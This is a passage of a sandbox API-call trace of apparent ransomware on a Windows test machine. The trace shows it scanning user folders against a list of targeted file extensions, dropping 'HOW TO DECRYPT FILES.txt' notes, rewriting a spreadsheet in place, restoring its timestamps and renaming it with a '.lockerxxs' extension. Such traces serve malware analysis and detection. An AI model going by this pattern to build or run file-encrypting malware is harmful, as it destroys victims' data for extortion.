HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.mye") returned 0 [0089.439] lstrlenA (lpString="*.mye") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.mbox") returned 0 [0089.439] lstrlenA (lpString="*.mbox") returned 6 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.eml") returned 0 [0089.439] lstrlenA (lpString="*.eml") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.pst") returned 0 [0089.439] lstrlenA (lpString="*.pst") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.ost") returned 0 [0089.439] lstrlenA (lpString="*.ost") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.idx") returned 0 [0089.439] lstrlenA (lpString="*.idx") returned 5 [0089.439] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.dbx") returned 0 [0089.439] lstrlenA (lpString="*.dbx") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.sql") returned 0 [0089.440] lstrlenA (lpString="*.sql") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.mdb") returned 0 [0089.440] lstrlenA (lpString="*.mdb") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.fdb") returned 0 [0089.440] lstrlenA (lpString="*.fdb") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.wab") returned 0 [0089.440] lstrlenA (lpString="*.wab") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.dat") returned 0 [0089.440] lstrlenA (lpString="*.dat") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.txt") returned 0 [0089.440] lstrlenA (lpString="*.txt") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.jpeg") returned 0 [0089.440] lstrlenA (lpString="*.jpeg") returned 6 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.jpg") returned 0 [0089.440] lstrlenA (lpString="*.jpg") returned 5 [0089.440] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.png") returned 0 [0089.440] lstrlenA (lpString="*.png") returned 5 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.php") returned 0 [0089.441] lstrlenA (lpString="*.php") returned 5 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.cs") returned 0 [0089.441] lstrlenA (lpString="*.cs") returned 4 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.cpp") returned 0 [0089.441] lstrlenA (lpString="*.cpp") returned 5 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.rar") returned 0 [0089.441] lstrlenA (lpString="*.rar") returned 5 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.zip") returned 0 [0089.441] lstrlenA (lpString="*.zip") returned 5 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.html") returned 0 [0089.441] lstrlenA (lpString="*.html") returned 6 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.htm") returned 0 [0089.441] lstrlenA (lpString="*.htm") returned 5 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.xlsx") returned 0 [0089.441] lstrlenA (lpString="*.xlsx") returned 6 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.xls") returned 0 [0089.441] lstrlenA (lpString="*.xls") returned 5 [0089.441] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.mp4") returned 0 [0089.441] lstrlenA (lpString="*.mp4") returned 5 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.ppt") returned 0 [0089.442] lstrlenA (lpString="*.ppt") returned 5 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.pptx") returned 0 [0089.442] lstrlenA (lpString="*.pptx") returned 6 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.doc") returned 0 [0089.442] lstrlenA (lpString="*.doc") returned 5 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.dot") returned 0 [0089.442] lstrlenA (lpString="*.dot") returned 5 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.docx") returned 0 [0089.442] lstrlenA (lpString="*.docx") returned 6 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.7z") returned 0 [0089.442] lstrlenA (lpString="*.7z") returned 4 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.tar") returned 0 [0089.442] lstrlenA (lpString="*.tar") returned 5 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.bz2") returned 0 [0089.442] lstrlenA (lpString="*.bz2") returned 5 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.gz") returned 0 [0089.442] lstrlenA (lpString="*.gz") returned 4 [0089.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.mkv") returned 0 [0089.442] lstrlenA (lpString="*.mkv") returned 5 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.eml") returned 0 [0089.443] lstrlenA (lpString="*.eml") returned 5 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.msg") returned 0 [0089.443] lstrlenA (lpString="*.msg") returned 5 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.edb") returned 0 [0089.443] lstrlenA (lpString="*.edb") returned 5 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.accdb") returned 0 [0089.443] lstrlenA (lpString="*.accdb") returned 7 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.odb") returned 0 [0089.443] lstrlenA (lpString="*.odb") returned 5 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.java") returned 0 [0089.443] lstrlenA (lpString="*.java") returned 6 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.asm") returned 0 [0089.443] lstrlenA (lpString="*.asm") returned 5 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.pfx") returned 0 [0089.443] lstrlenA (lpString="*.pfx") returned 5 [0089.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss", pszSpec="*.pem") returned 0 [0089.444] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0089.444] lstrcmpA (lpString1=".", lpString2="_private") returned -1 [0089.444] lstrcmpA (lpString1="..", lpString2="_private") returned -1 [0089.444] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned="Favorites.vss" [0089.444] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" [0089.444] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x52d5d4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0089.444] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0089.444] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.444] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.445] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0089.445] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0089.445] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="folder.ico") returned -1 [0089.445] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="folder.ico") returned 1 [0089.445] lstrcmpiA (lpString1="", lpString2="folder.ico") returned -1 [0089.445] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.*") returned="*.*" [0089.445] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\" [0089.445] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="" [0089.445] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\HOW TO DECRYPT FILES.txt" [0089.445] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\how to decrypt files.txt")) returned 0xffffffff [0089.445] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0089.450] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.450] CloseHandle (hObject=0x90) returned 1 [0089.450] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpString2="folder.ico" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" [0089.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico", pszSpec="*.ems") returned 0 [0089.451] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0089.451] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0089.451] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0089.451] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0089.451] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0089.451] lstrcmpA (lpString1=".", lpString2="My Videos") returned -1 [0089.451] lstrcmpA (lpString1="..", lpString2="My Videos") returned -1 [0089.451] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0089.451] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0089.451] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0089.452] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffce090, ftCreationTime.dwHighDateTime=0x1d5b561, ftLastAccessTime.dwLowDateTime=0xb29ad3b0, ftLastAccessTime.dwHighDateTime=0x1d5dd24, ftLastWriteTime.dwLowDateTime=0xb29ad3b0, ftLastWriteTime.dwHighDateTime=0x1d5dd24, nFileSizeHigh=0x0, nFileSizeLow=0x842d, dwReserved0=0x79004d, dwReserved1=0x560020, cFileName="n-feSIJBHTFC.xlsx", cAlternateFileName="N-FESI~1.XLS")) returned 1 [0089.452] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0089.452] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="n-feSIJBHTFC.xlsx") returned -1 [0089.452] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="n-feSIJBHTFC.xlsx") returned -1 [0089.452] lstrcmpiA (lpString1="", lpString2="n-feSIJBHTFC.xlsx") returned -1 [0089.452] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0089.452] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0089.452] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0089.452] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0089.452] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0089.452] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="n-feSIJBHTFC.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx" [0089.452] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx", pszSpec="*.ems") returned 0 [0089.452] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx" [0089.452] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx" [0089.453] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx." [0089.453] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx.lockerxxs" [0089.453] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n-fesijbhtfc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0089.453] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x842d [0089.454] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x3ffce090, dwHighDateTime=0x1d5b561), lpLastAccessTime=0x407536*(dwLowDateTime=0xb29ad3b0, dwHighDateTime=0x1d5dd24), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb29ad3b0, dwHighDateTime=0x1d5dd24)) returned 1 [0089.454] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.454] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x8407, lpOverlapped=0x0) returned 1 [0089.456] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx") returned="n-feSIJBHTFC.xlsx" [0089.457] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.457] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8407, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8407, lpOverlapped=0x0) returned 1 [0089.457] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.457] CloseHandle (hObject=0x88) returned 1 [0089.458] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n-fesijbhtfc.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\n-fesijbhtfc.xlsx.lockerxxs")) returned 1 [0089.459] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000343, dwReserved1=0x4e00c4, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0089.459] lstrcmpA (lpString1=".", lpString2="Outlook Files") returned -1 [0089.459] lstrcmpA (lpString1="..", lpString2="Outlook Files") returned -1 [0089.459] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\n-feSIJBHTFC.xlsx") returned="n-feSIJBHTFC.xlsx" [0089.459] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0089.459] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned 53 [0089.459] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502518 [0089.460] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.460] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, 